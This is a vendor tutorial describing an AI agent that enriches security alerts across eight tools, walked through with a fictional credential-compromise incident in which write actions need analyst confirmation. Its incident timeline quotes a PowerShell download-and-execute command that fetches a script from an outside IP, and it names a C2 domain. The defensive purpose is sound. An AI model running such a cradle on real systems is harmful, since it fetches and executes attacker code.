Abstract red and blue flowing lines on black background
Security Tutorial

How to Build a Threat Investigation Agent (8 Systems, One Skill)

An alert fires at 2am. The agent queries 8 systems, builds a timeline, scores severity, and posts an enriched briefing to Slack. The analyst reads one message instead of opening 8 tabs.

Amodal TeamApril 5, 202625 min read

The problem: 20 minutes of tab-switching before you start investigating

A page fires at 2am. CrowdStrike shows a suspicious process on a workstation. The on-call SOC analyst opens PagerDuty, acknowledges the alert, then starts the context-gathering:

The 2am tab-switching ritual
  1. 1.CrowdStrike: what process, what host, what user, what detection?
  2. 2.Splunk: raw logs around the timestamp. Any related events? Lateral movement?
  3. 3.Okta: did this user authenticate recently? From where? Impossible travel?
  4. 4.Active Directory: is this user an admin? Service account? What groups?
  5. 5.VirusTotal: is this hash known malicious? This IP? This domain?
  6. 6.Jira: is there already a ticket for this host or user?
  7. 7.Slack #soc-alerts: has anyone else noticed this?
  8. 8.PagerDuty: who else is on call? Do we need to escalate?

20 minutes of copy-paste across 8 systems. Before the analyst even starts thinking about whether this is real. Half the time it's a false positive they've seen before.

The agent does this in 30 seconds. One message in Slack with context from all 8 systems, a timeline, a severity score, and a recommendation. The analyst reads and decides. Here's how to build it.

Part 1

Connect 8 systems

Each connection is one command. The agent gets access and understanding.

1

Initialize and connect

terminal — project setup
$ mkdir acme-soc && cd acme-soc
$ npx amodal init
✓ Project initialized
terminal — connect all 8 systems (~5 minutes)
$ amodal connect crowdstrike
Installing connection crowdstrike@1.2.0... ✓
CrowdStrike requires API key authentication.
? CrowdStrike Client ID: ********
? CrowdStrike Client Secret: ********
✓ Stored credentials in .env
Testing... GET /detects/queries/detects/v1 → 200 (47 detections)
Connected. 28 endpoints available.
# ... same flow for each ...
$ amodal connect splunk
✓ Connected. 34 endpoints available.
$ amodal connect okta
✓ Connected. 42 endpoints available.
$ amodal connect active-directory
✓ Connected. 18 endpoints available.
$ amodal connect virustotal
✓ Connected. 12 endpoints available.
$ amodal connect jira
✓ Connected. 38 endpoints available.
$ amodal connect slack
✓ Connected. 42 endpoints available.
$ amodal connect pagerduty
✓ Connected. 23 endpoints available.
What the agent now has access to
CrowdStrike
28 endpoints
Detections, hosts, processes
Splunk
34 endpoints
Log search, raw events
Okta
42 endpoints
Auth events, user profiles
Active Directory
18 endpoints
Users, groups, privileges
VirusTotal
12 endpoints
Hash, IP, domain reputation
Jira
38 endpoints
Tickets, known incidents
Slack
42 endpoints
Channel messages, search
PagerDuty
23 endpoints
Incidents, schedules, on-call

237 total endpoints. Each connection includes curated API docs, entity descriptions, and access rules.

Part 2

Write the investigation skill

Your SOC's methodology, encoded as markdown.

2

The investigation methodology

skills/threat-investigation/SKILL.md
# Skill: Threat Investigation
## Trigger
Activate when a security alert, detection, or suspicious
activity is reported. Also for ad-hoc investigation requests
("investigate user X", "what happened on host Y").
## Phase 1: Triage (parallel, <10 seconds)
Dispatch 4 parallel task agents:
- **Detection context:** Query CrowdStrike for the detection
details, severity, host, user, process tree.
- **Identity enrichment:** Query Okta for recent auth events
for this user. Check for impossible travel, unusual
location, MFA failures. Query AD for group memberships
and admin privileges.
- **Reputation check:** Query VirusTotal for any hashes,
IPs, or domains from the detection. Known malicious?
Known benign? First seen when?
- **Existing context:** Check Jira for open tickets on this
host or user. Search Slack #soc-alerts for mentions
in the last 24 hours. Check PagerDuty for active incidents.
## Phase 2: Correlate (<5 seconds)
Build a timeline from all sources. Look for:
- Auth events close to the detection timestamp
- Related detections on other hosts (lateral movement)
- Log entries matching the detection signature
- Prior alerts for this user/host in the last 30 days
## Phase 3: Score and Recommend
Severity scoring:
- Admin/service account + known malicious hash = CRITICAL
- Standard user + unknown hash = HIGH (investigate)
- Standard user + known benign hash = LOW (likely FP)
- Match to known false positive pattern = AUTO-CLOSE
Always present:
1. One-paragraph summary
2. Timeline of events (with timestamps)
3. Severity score with reasoning
4. Recommended action (investigate, escalate, close)
5. Which systems were queried and what was found
## Rules
- Never auto-close alerts. Recommend, don't act.
- Service accounts are always high priority regardless of hash.
- Check the false_positives knowledge base before scoring.
- If the user is a VIP (exec, board member), always escalate.
- Include the PagerDuty on-call name in every alert.
Parallel task agents
Phase 1 dispatches 4 task agents simultaneously. Each one queries a subset of systems, processes the raw API responses (sometimes 10-15KB of JSON), and returns a 200-500 token summary. The primary agent never sees the raw data. It gets clean summaries and focuses on correlation and scoring. Total context stays under 5K tokens even though 50K+ of raw data was processed.
3

Add the automation trigger

terminal
$ amodal install automation alert-enrichment
Installed alert-enrichment v1.0.0
Trigger: PagerDuty webhook → #soc-alerts

When PagerDuty fires, the automation triggers the threat-investigation skill automatically. The enriched briefing posts to #soc-alerts before the analyst even opens their laptop.

Part 3

2:14am: an alert fires

CrowdStrike detects a suspicious PowerShell execution on WORKSTATION-47.

4

The alert fires, the agent enriches

PagerDuty pages Sarah (on-call analyst). Before she opens her laptop, the agent has already posted to #soc-alerts:

#soc-alerts — 2:14 AM
P
PagerDuty 2:14 AM
ALERT: Suspicious PowerShell execution on WORKSTATION-47
Severity: High · Detection ID: DET-8847 · Assigned: Sarah Mitchell
A
Amodal 2:14 AM
Queried: CrowdStrike, Splunk, Okta, Active Directory, VirusTotal, Jira, Slack, PagerDuty (4 parallel task agents, 2.8s total)
SEVERITY: HIGHInvestigate immediately
Suspicious PowerShell execution on WORKSTATION-47 (user: marcus.chen@acme.com). The process downloaded and executed an unsigned binary from an external IP. Marcus is a standard user but has VPN access and access to the finance share. No matching false positive pattern. No prior alerts for this user.
Timeline
1:58 AM Marcus authenticated via Okta from IP 203.45.67.89 (Singapore)
1:59 AM VPN connection established from same IP
2:02 AM First login from Singapore for this user. Previous logins: SF Bay Area only.
2:08 AM PowerShell spawned: IEX(New-Object Net.WebClient).DownloadString('http://45.33.21.8/p.ps1')
2:09 AM Binary downloaded and executed: svchost_update.exe
2:12 AM Outbound connection to 45.33.21.8:443
2:14 AM CrowdStrike detection fired (DET-8847)
Enrichment
CrowdStrike
Process tree: outlook.exe → powershell.exe → svchost_update.exe. Unsigned binary. No prior detections on this host.
Okta
Login from Singapore at 1:58am. Previous 90 days: all logins from SF Bay Area. Impossible travel: SF login at 5pm yesterday.
VirusTotal
IP 45.33.21.8: 7/87 vendors flag as malicious. Associated with Cobalt Strike C2. Hash of svchost_update.exe: 12/72 detections.
Active Directory
Marcus: standard user. Groups: Finance-Read, VPN-Users. Not admin. No service accounts. Reports to Lisa Park (Finance).
Splunk
3 additional outbound connections to 45.33.21.8 in the last 4 minutes. DNS query for c2.malware-domain.net resolved to the same IP.
Jira / Slack / PagerDuty
No existing tickets for this host or user. No mentions in #soc-alerts. On-call: Sarah Mitchell (primary), Jake Torres (secondary).
Recommended actions
  1. 1. Isolate WORKSTATION-47 immediately (CrowdStrike network containment)
  2. 2. Disable Marcus's Okta account — credentials likely compromised (impossible travel + C2)
  3. 3. Check for lateral movement — Marcus has Finance-Read access, check if finance share was accessed
  4. 4. Block IP 45.33.21.8 at the firewall
  5. 5. Escalate to Jake Torres (secondary on-call) — this needs two analysts
30 seconds
8 systems. 237 endpoints available. The agent queried the relevant ones, built a timeline, correlated impossible travel with C2 indicators, checked for lateral movement indicators, and produced 5 specific recommendations. Sarah reads one Slack message instead of opening 8 browser tabs.
Part 4

Sarah investigates

The agent enriched. Now the analyst digs deeper.

5

Sarah asks follow-up questions

#soc-alerts — 2:16 AM
S
Sarah Mitchell 2:16 AM
@amodal did Marcus access the finance share after the compromise?
A
Amodal 2:16 AM
Queried: Splunk (file access logs for Marcus, 1:58am-2:14am)
No. No file access events on the finance share from Marcus after 1:58am. The last finance share access for Marcus was March 14 at 3:22pm (SF Bay Area).
However: the PowerShell script ran a net view \\finance-share command at 2:10am. It enumerated the share but didn't access files. Likely reconnaissance.
#soc-alerts — 2:18 AM
S
Sarah Mitchell 2:18 AM
@amodal any other hosts connecting to 45.33.21.8?
A
Amodal 2:18 AM
Queried: Splunk (firewall logs, DNS logs for 45.33.21.8, last 7 days)
Yes. One other host.
WORKSTATION-12 (user: sarah.kim@acme.com) made 2 DNS queries to c2.malware-domain.net on March 16 at 11:42am. No outbound connections followed. No CrowdStrike detection on that host.
This may be an earlier compromise attempt that didn't succeed, or a related phishing campaign. Recommend investigating WORKSTATION-12 as well.
S
Sarah Mitchell 2:19 AM
@amodal isolate WORKSTATION-47 now
A
Amodal 2:19 AM
Confirmation required
This will network-isolate WORKSTATION-47 via CrowdStrike. The host will lose all network connectivity except to the CrowdStrike cloud. Marcus will be unable to work.
S
Sarah Mitchell 2:19 AM
[Confirmed isolation]
A
Amodal 2:19 AM
✓ WORKSTATION-47 isolated via CrowdStrike. Network containment active.
Write operations require confirmation
The agent recommended isolation. But it didn't act unilaterally. It presented a confirmation dialog with the impact ("Marcus will be unable to work"). Sarah confirmed. The write went through. This is the guardrail system: reads are automatic, writes require human approval. The confirmation tier is set in the CrowdStrike connection's access.json.
6

Disable the compromised account

#soc-alerts — 2:21 AM
S
Sarah Mitchell 2:21 AM
@amodal disable Marcus's Okta account and revoke all sessions
A
Amodal 2:21 AM
Confirmation required (2 actions)
1. Suspend Okta user marcus.chen@acme.com (status: ACTIVE → SUSPENDED)
2. Clear all active sessions (3 sessions: VPN, Outlook Web, Salesforce)
Marcus will immediately lose access to all SSO-protected applications.
S
Sarah Mitchell 2:21 AM
[Confirmed both]
A
Amodal 2:22 AM
✓ Okta account suspended: marcus.chen@acme.com
✓ 3 sessions cleared (VPN, Outlook Web, Salesforce)
7

Escalate and page the second analyst

#soc-alerts — 2:23 AM
S
Sarah Mitchell 2:23 AM
@amodal this is big enough for two analysts. Page Jake and create an incident.
A
Amodal 2:23 AM
Confirmation required (3 actions)
1. Create PagerDuty incident: "Compromised credentials - Marcus Chen - C2 activity" (Severity: P1)
2. Page Jake Torres (secondary on-call) to the incident
3. Create Jira ticket SEC-1247 with full timeline and enrichment attached
S
Sarah Mitchell 2:23 AM
[Confirmed all]
A
Amodal 2:24 AM
✓ PagerDuty incident created: INC-892 (P1)
✓ Jake Torres paged — acknowledged at 2:25 AM
✓ Jira ticket SEC-1247 created with full enrichment
8

Jake joins and asks his own questions

#soc-alerts — 2:28 AM
J
Jake Torres 2:28 AM
@amodal I'm on. What's the status? Give me the 30-second version.
A
Amodal 2:28 AM
Status as of 2:28 AM:
WORKSTATION-47 isolated (CrowdStrike containment)
Marcus's Okta account suspended, sessions cleared
! WORKSTATION-12 (sarah.kim) had DNS queries to same C2 domain on March 16. Not yet investigated.
IP 45.33.21.8 not yet blocked at firewall (requires NetOps)
Finance share access audit not yet completed
Sarah is checking the finance share logs. Suggest you take WORKSTATION-12.
J
Jake Torres 2:29 AM
@amodal investigate WORKSTATION-12 and sarah.kim. Same depth as the original alert.
A
Amodal 2:29 AM
Queried: CrowdStrike, Splunk, Okta, AD, VirusTotal for WORKSTATION-12 / sarah.kim (4 parallel task agents, 3.1s)
SEVERITY: LOWLikely false positive
WORKSTATION-12: 2 DNS queries to c2.malware-domain.net on March 16 at 11:42am. No outbound connections followed. No suspicious processes. No CrowdStrike detections. Sarah's Okta activity is clean (all logins from SF office). The DNS queries came from a browser session visiting a compromised ad network. No payload delivered.
Recommend: add the ad network domain to the blocklist. No action needed on WORKSTATION-12.
Part 5

Containment and handoff

Wrap up the incident at 2:45 AM. Total time: 31 minutes.

9

Block the C2 IP and notify the manager

#soc-alerts — 2:35 AM
S
Sarah Mitchell 2:35 AM
@amodal finance share is clean. No files accessed. Can you draft a summary for my manager and the CISO?
A
Amodal 2:35 AM
Incident Summary for Leadership
Incident: Compromised credentials for marcus.chen@acme.com resulting in C2 activity on WORKSTATION-47
Detection: 2:14 AM via CrowdStrike (DET-8847)
Root cause: Likely phishing. Marcus authenticated from Singapore (impossible travel from SF). Attacker downloaded and executed Cobalt Strike beacon via PowerShell.
Impact: Finance share was enumerated (recon) but not accessed. No data exfiltration detected.
Containment: Host isolated, Okta account suspended, sessions cleared. Response time: 5 minutes from detection to containment.
Related: WORKSTATION-12 had DNS queries to the same C2 domain on March 16 (compromised ad network, no payload). Separate, lower-risk.
Remaining: Block IP 45.33.21.8 at firewall (NetOps ticket). Full forensic imaging of WORKSTATION-47. Password reset for Marcus after investigation complete.
Want me to post this to #security-leadership or send to specific people?
10

Reschedule on-call and close the loop

#soc-alerts — 2:40 AM
S
Sarah Mitchell 2:40 AM
@amodal Jake's been up for 30 minutes on a night he wasn't supposed to be on call. Can you check if anyone can cover his morning shift? He should get to sleep.
A
Amodal 2:40 AM
Queried: PagerDuty schedules, user availability
Jake's next shift: secondary on-call 8am-5pm today. Options:
1. Alex Chen is off today and was on-call last week (so he knows the current incidents). He's in the rotation next week anyway.
2. Dana Park is on primary for day shift. She could absorb secondary duties (her current load is 0 active incidents).
Recommend option 2 (Dana absorbs) since it doesn't require a swap. Want me to update the PagerDuty schedule?
S
Sarah Mitchell 2:41 AM
Option 2. Update PagerDuty and let Dana know.
A
Amodal 2:41 AM
Confirmation (2 actions)
1. Override PagerDuty: remove Jake from secondary 8am-5pm, assign Dana
2. DM Dana Park in Slack: "Hi Dana, you're covering secondary on-call 8am-5pm today. Jake was pulled into an overnight incident. Current active: INC-892 (contained, needs forensic follow-up)."
S
Sarah Mitchell 2:41 AM
[Confirmed both]
A
Amodal 2:42 AM
✓ PagerDuty schedule updated: Dana is secondary 8am-5pm
✓ DM sent to Dana Park with context
11

Close the incident window

#soc-alerts — 2:45 AM
S
Sarah Mitchell 2:45 AM
@amodal update Jira SEC-1247 with the full resolution. Add the executive summary. Set status to "Contained — pending forensics."
A
Amodal 2:45 AM
✓ SEC-1247 updated: status → "Contained — pending forensics"
✓ Full timeline, enrichment, containment actions, and executive summary attached
✓ Tagged: marcus.chen, WORKSTATION-47, WORKSTATION-12, 45.33.21.8
Incident duration: 31 minutes (detection to containment: 5 min, full investigation: 31 min). Systems queried: 8. Write actions: 7 (all human-confirmed). Estimated manual time for this investigation: 2-3 hours.
Part 6

The agent learns

This investigation makes every future investigation faster.

12

Knowledge proposals from the investigation

Admin UI → Knowledge Proposals
Proposed by agent · from INC-892 investigation

"IP 45.33.21.8 is associated with Cobalt Strike C2 infrastructure. Add to threat intel blocklist."

Proposed by agent

"DNS queries from browser sessions to c2.malware-domain.net without subsequent outbound connections are likely compromised ad network hits, not C2 callbacks. Score as LOW, not HIGH."

Proposed by agent

"When impossible travel is detected and the foreign login is followed by PowerShell execution within 15 minutes, severity should be CRITICAL regardless of user privilege level."

Every incident makes the next one faster
Three knowledge proposals from one incident. The C2 IP goes into the threat intel base (future alerts matching this IP get auto-correlated). The ad network pattern becomes a known false positive (future DNS-only hits auto-score as LOW). And the impossible-travel-plus-PowerShell pattern becomes a CRITICAL severity rule. Next time this happens, the agent's 30-second briefing will be even sharper.
Part 7

The SOC manager reviews

Next morning. Quality check, cost check, skill tuning.

13

Session replay: did the agent get it right?

Admin UI → Session Replay → INC-892 investigation
2:14:00
Trigger: PagerDuty webhook → alert-enrichment automation
2:14:01
Skill: threat-investigation activated
2:14:01
Dispatch: 4 parallel task agents (detection, identity, reputation, context)
2:14:03
Task 1: CrowdStrike → 312 tokens (process tree, host, user)
2:14:03
Task 2: Okta + AD → 287 tokens (impossible travel, groups, no admin)
2:14:02
Task 3: VirusTotal → 198 tokens (hash: 12/72 detections, IP: Cobalt Strike C2)
2:14:04
Task 4: Jira + Slack + PagerDuty → 142 tokens (no priors, on-call info)
2:14:05
Correlate: timeline built, severity scored HIGH
2:14:06
Agent: posted enriched briefing to #soc-alerts
Cost
$0.018 — 4 task agents + correlation + response (Claude Sonnet)
Writes
7 total (isolate host, suspend Okta, clear sessions, PD incident, page Jake, PD schedule, Jira update) — all human-confirmed
14

Cost and model optimization

Admin UI → Costs → acme-soc (this month)
$34.20
This month
89
Investigations
$0.38
Per investigation
23 min
Avg MTTR saved
Model Arena:Task agents (Phase 1 enrichment) can run on Haiku with no quality loss. Estimated savings: $12/mo. The correlation step (Phase 2) needs Sonnet for accuracy.

$34.20/month for 89 investigations. Each one saves ~23 minutes of analyst time. At $80/hr fully loaded, that's $2,737/month in analyst time saved. 80:1 ROI.

The full incident timeline

Time
What happened
Who / what
2:14:00
CrowdStrike detection fires, PagerDuty pages Sarah
Automation
2:14:06
Agent posts enriched briefing (8 systems, 2.8s)
Agent
2:16
Sarah asks: finance share accessed? → No
Sarah + Agent
2:18
Sarah asks: other hosts? → WORKSTATION-12 (low risk)
Sarah + Agent
2:19
Sarah confirms: isolate WORKSTATION-47
Sarah → CrowdStrike
2:21
Sarah confirms: disable Marcus's Okta, clear sessions
Sarah → Okta
2:23
Sarah confirms: create incident, page Jake, create Jira ticket
Sarah → PD + Jira
2:28
Jake joins. Agent gives status briefing.
Jake + Agent
2:29
Jake investigates WORKSTATION-12 → LOW severity
Jake + Agent
2:35
Sarah: finance share clean. Agent drafts executive summary.
Sarah + Agent
2:40
Sarah: reschedule Jake's morning shift → Dana covers
Sarah → PagerDuty
2:42
Agent DMs Dana with context
Agent → Slack
2:45
Sarah: update Jira with full resolution. Incident closed.
Sarah → Jira
8
systems queried
7
write actions (all confirmed)
31 min
total incident time
$0.018
AI cost for the investigation
Without the agent
Same incident, no agent: 20 minutes of context-gathering across 8 tabs before the analyst starts thinking. Containment at maybe 3:00 AM instead of 2:19 AM. No automatic enrichment. No cross-system correlation. No executive summary draft. No PagerDuty schedule management. No knowledge capture. And the next time a similar alert fires, the analyst starts from zero again.
Part 8

You didn't build most of this

The connections, skills, and knowledge came from the community. You just installed them.

15

What you installed vs what you wrote

Look back at what we actually built. Out of the 8 connections, 1 skill, and 1 automation, how much was custom?

Component
Source
What you did
CrowdStrike connection
Community
amodal connect (one command)
Splunk connection
Community
amodal connect (one command)
Okta connection
Community
amodal connect (one command)
Active Directory connection
Community
amodal connect (one command)
VirusTotal connection
Community
amodal connect (one command)
Jira connection
Community
amodal connect (one command)
Slack connection
Community
amodal connect (one command)
PagerDuty connection
Community
amodal connect (one command)
threat-investigation skill
You wrote it
~40 lines of markdown
alert-enrichment automation
Community
amodal install (one command)

9 out of 10 components came from the community registry. You wrote one file: the investigation skill. 40 lines of markdown describing how your SOC investigates alerts. Everything else was amodal connect or amodal install.

16

The community knowledge you got for free

But it goes further. There are knowledge packages too:

terminal — install community knowledge
$ amodal install knowledge mitre-attack
Installed mitre-attack v4.0.0 (14 tactic categories, 201 techniques)
$ amodal install knowledge common-false-positives
Installed common-false-positives v2.3.0 (340 known-benign patterns)
$ amodal install knowledge ir-procedures-nist
Installed ir-procedures-nist v1.1.0 (NIST 800-61r3 framework)
$ amodal install knowledge threat-intel-iocs
Installed threat-intel-iocs v2026.03 (updated monthly, 12K indicators)

Four commands. Your agent now knows:

MITRE ATT&CK

The complete framework. When the agent sees a PowerShell download-and-execute, it maps it to T1059.001 (Command and Scripting Interpreter: PowerShell) and T1105 (Ingress Tool Transfer). The executive summary includes ATT&CK technique IDs automatically.

Common False Positives

340 patterns the community has validated as benign. Vulnerability scanner IPs, backup agents that trigger endpoint alerts, scheduled tasks that look like persistence. Instead of paging an analyst at 2am for a known false positive, the agent auto-scores it LOW and logs it.

NIST IR Procedures

The NIST 800-61 incident response framework as a knowledge package. The agent follows standardized containment and eradication procedures. When it recommends isolating a host, it's not making it up. It's following NIST.

Threat Intel IOCs

Monthly-updated indicators of compromise. Known C2 IPs, malicious domains, file hashes. The agent cross-references these during enrichment. When it flagged 45.33.21.8 as Cobalt Strike C2, that came from the community threat intel package, not VirusTotal alone.

Community security expertise as installable packages
This is what makes the model different from closed security AI. CrowdStrike's Charlotte AI has proprietary threat intel trained into the model. You can't inspect it, contribute to it, or customize it. Amodal's threat intel is a versioned markdown package on the registry. Anyone can read it, improve it, fork it. A SOC lead at one company discovers a new false positive pattern, publishes it, and 500 other SOCs benefit next time they run amodal update.

And you can override any of it. The community false positive list says a vulnerability scanner IP is benign. But your org uses a different scanner? Override it:

knowledge/common-false-positives/overrides.md
---
import: common-false-positives
---
# Acme Corp overrides
- IP 10.0.5.200 is our Qualys scanner, not the community
default (10.0.5.100). Add to false positive list.
- Remove 192.168.1.50 from false positives. In our network,
that's a developer workstation, not a scanner.

Community knowledge for the 90% that's universal. Your overrides for the 10% that's specific to your environment. Same pattern as every other Amodal package: install the base, override what's yours.

8 connections. 1 skill. The agent doesn't replace the analyst. It gives them a 30-second briefing instead of a 20-minute research project.